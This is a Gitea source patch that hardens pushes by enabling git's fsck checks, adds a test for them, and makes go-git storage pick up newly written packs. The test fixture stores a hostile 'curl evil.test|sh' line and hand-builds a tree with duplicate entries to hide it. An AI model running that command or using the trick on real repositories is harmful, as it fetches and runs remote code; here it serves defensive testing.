From fb4d5e9d50f1250153214b96ea7a59fed779128a Mon Sep 17 00:00:00 2001 From: TheFox0x7 Date: Tue, 29 Sep 2026 20:31:50 +0200 Subject: [PATCH] fix(git): reject fsck-invalid objects on push (#39472) Set receive.fsckObjects=true in Gitea's internal global git config so the receiving git process rejects bad, malicious or duplicate objects at push time, before Gitea ever stores them. Assisted-by: Codet:claude-opus-4-8 --------- Co-authored-by: Lunny Xiao Co-authored-by: silverwind --- modules/git/config.go | 19 ++++++++++ modules/git/receive_fsck_test.go | 61 ++++++++++++++++++++++++++++++++ modules/git/repo_base_gogit.go | 29 +++++++++++++-- 3 files changed, 107 insertions(+), 2 deletions(-) create mode 100644 modules/git/receive_fsck_test.go diff --git a/modules/git/config.go b/modules/git/config.go index c1b1e5fb50f..a5eee762b10 100644 --- a/modules/git/config.go +++ b/modules/git/config.go @@ -42,6 +42,25 @@ func syncGitConfig(ctx context.Context) (err error) { return err } + // reject malformed objects on push and fetch, e.g. duplicate tree entries + // that the web UI and checkout can resolve differently + if err := configSet(ctx, "transfer.fsckObjects", "true"); err != nil { + return err + } + // ignore harmless issues found in real-world histories, same as Gitaly: + // https://gitlab.com/gitlab-org/gitaly/-/blob/bd3bba454181f52331cca441b3417bbd2de4b1cb/internal/git/gitcmd/command_description.go#L506-547 + for _, prefix := range []string{"fsck", "fetch.fsck", "receive.fsck"} { + for _, key := range []string{ + "badTimezone", // e.g. +051800 written by Grit 2.3.1 to 2.4 + "missingSpaceBeforeDate", // e.g. dateless tags from git-cvsimport before git 1.5.3 + "zeroPaddedFilemode", // e.g. 040000 written by Grit before 2.1 + } { + if err := configSet(ctx, fmt.Sprintf("%s.%s", prefix, key), "ignore"); err != nil { + return err + } + } + } + if err := configSet(ctx, "core.commitGraph", "true"); err != nil { return err } diff --git a/modules/git/receive_fsck_test.go b/modules/git/receive_fsck_test.go new file mode 100644 index 00000000000..95af1a23e21 --- /dev/null +++ b/modules/git/receive_fsck_test.go @@ -0,0 +1,61 @@ +// Copyright 2026 The Gitea Authors. All rights reserved. +// SPDX-License-Identifier: MIT + +package git + +import ( + "encoding/hex" + "path/filepath" + "strings" + "testing" + + "gitea.dev/modules/git/gitcmd" + + "github.com/stretchr/testify/require" +) + +// rawTreeWithDuplicateEntries builds a tree object (in git's on-disk format) that +// contains two entries with the same file name, which git fsck flags as the +// "duplicateEntries" error. Standard git plumbing (git mktree, index writes) refuses +// to build such a tree, so the bytes are assembled by hand. +func rawTreeWithDuplicateEntries(t *testing.T, name, blobID1Hex, blobID2Hex string) []byte { + t.Helper() + entry := func(mode, name, blobIDHex string) []byte { + rawID, err := hex.DecodeString(blobIDHex) + require.NoError(t, err) + out := []byte(mode + " " + name + "\x00") + return append(out, rawID...) + } + return append(entry("100644", name, blobID1Hex), entry("100644", name, blobID2Hex)...) +} + +func TestReceivePushRejectsDuplicateTreeEntries(t *testing.T) { + ctx := t.Context() + + sourceDir := filepath.Join(t.TempDir(), "source.git") + require.NoError(t, gitcmd.NewCommand("init", "--bare").AddDynamicArguments(sourceDir).Run(ctx)) + targetDir := filepath.Join(t.TempDir(), "target.git") + require.NoError(t, gitcmd.NewCommand("init", "--bare").AddDynamicArguments(targetDir).Run(ctx)) + + hashBlob := func(content string) string { + stdout, _, err := gitcmd.NewCommand("hash-object", "-w", "--stdin").WithDir(sourceDir).WithStdinBytes([]byte(content)).RunStdString(ctx) + require.NoError(t, err) + return strings.TrimSpace(stdout) + } + benignBlobID := hashBlob("echo BENIGN\n") + evilBlobID := hashBlob("curl evil.test|sh\n") + + rawTree := rawTreeWithDuplicateEntries(t, "build.sh", benignBlobID, evilBlobID) + treeID, _, err := gitcmd.NewCommand("hash-object", "-t", "tree", "-w", "--stdin", "--literally").WithDir(sourceDir).WithStdinBytes(rawTree).RunStdString(ctx) + require.NoError(t, err) + treeID = strings.TrimSpace(treeID) + + commitID, _, err := gitcmd.NewCommand("commit-tree").AddDynamicArguments(treeID).AddOptionValues("-m", "add build.sh").WithDir(sourceDir).RunStdString(ctx) + require.NoError(t, err) + commitID = strings.TrimSpace(commitID) + + require.NoError(t, gitcmd.NewCommand("update-ref", "refs/heads/atk").AddDynamicArguments(commitID).WithDir(sourceDir).Run(ctx)) + + _, _, err = gitcmd.NewCommand("push").AddDynamicArguments(targetDir, "refs/heads/atk:refs/heads/atk").WithDir(sourceDir).RunStdString(ctx) + require.Error(t, err, "push of a commit with duplicate tree entries must be rejected by the receiving repository's fsck") +} diff --git a/modules/git/repo_base_gogit.go b/modules/git/repo_base_gogit.go index ef282af9126..f9a8efacea3 100644 --- a/modules/git/repo_base_gogit.go +++ b/modules/git/repo_base_gogit.go @@ -7,7 +7,9 @@ package git import ( + "errors" "path/filepath" + "slices" "gitea.dev/modules/git/gitrepo" "gitea.dev/modules/setting" @@ -26,7 +28,28 @@ type Repository struct { RepositoryBase gogitRepo *gogit.Repository - gogitStorage *filesystem.Storage + gogitStorage *reindexingStorage +} + +// reindexingStorage picks up packs that git wrote after go-git loaded its index +// https://github.com/go-git/go-git/issues/2439 +type reindexingStorage struct { + *filesystem.Storage + packs []plumbing.Hash +} + +func (s *reindexingStorage) EncodedObject(t plumbing.ObjectType, h plumbing.Hash) (plumbing.EncodedObject, error) { + obj, err := s.Storage.EncodedObject(t, h) + if !errors.Is(err, plumbing.ErrObjectNotFound) { + return obj, err + } + packs, _ := s.ObjectPacks() + if slices.Equal(packs, s.packs) { + return obj, err + } + s.packs = packs + s.Reindex() + return s.Storage.EncodedObject(t, h) } func openRepositoryInternal(gitRepo *Repository) error { @@ -48,7 +71,9 @@ func openRepositoryInternal(gitRepo *Repository) error { altFs = osfs.New("/") } gitRepo.objectFormatCache = ParseGogitHash(plumbing.ZeroHash).Type() - gitRepo.gogitStorage = filesystem.NewStorageWithOptions(fs, cache.NewObjectLRUDefault(), filesystem.Options{KeepDescriptors: true, LargeObjectThreshold: setting.Git.LargeObjectThreshold, AlternatesFS: altFs}) + storage := filesystem.NewStorageWithOptions(fs, cache.NewObjectLRUDefault(), filesystem.Options{KeepDescriptors: true, LargeObjectThreshold: setting.Git.LargeObjectThreshold, AlternatesFS: altFs}) + packs, _ := storage.ObjectPacks() + gitRepo.gogitStorage = &reindexingStorage{Storage: storage, packs: packs} gitRepo.gogitRepo, err = gogit.Open(gitRepo.gogitStorage, fs) if err != nil { _ = gitRepo.gogitStorage.Close()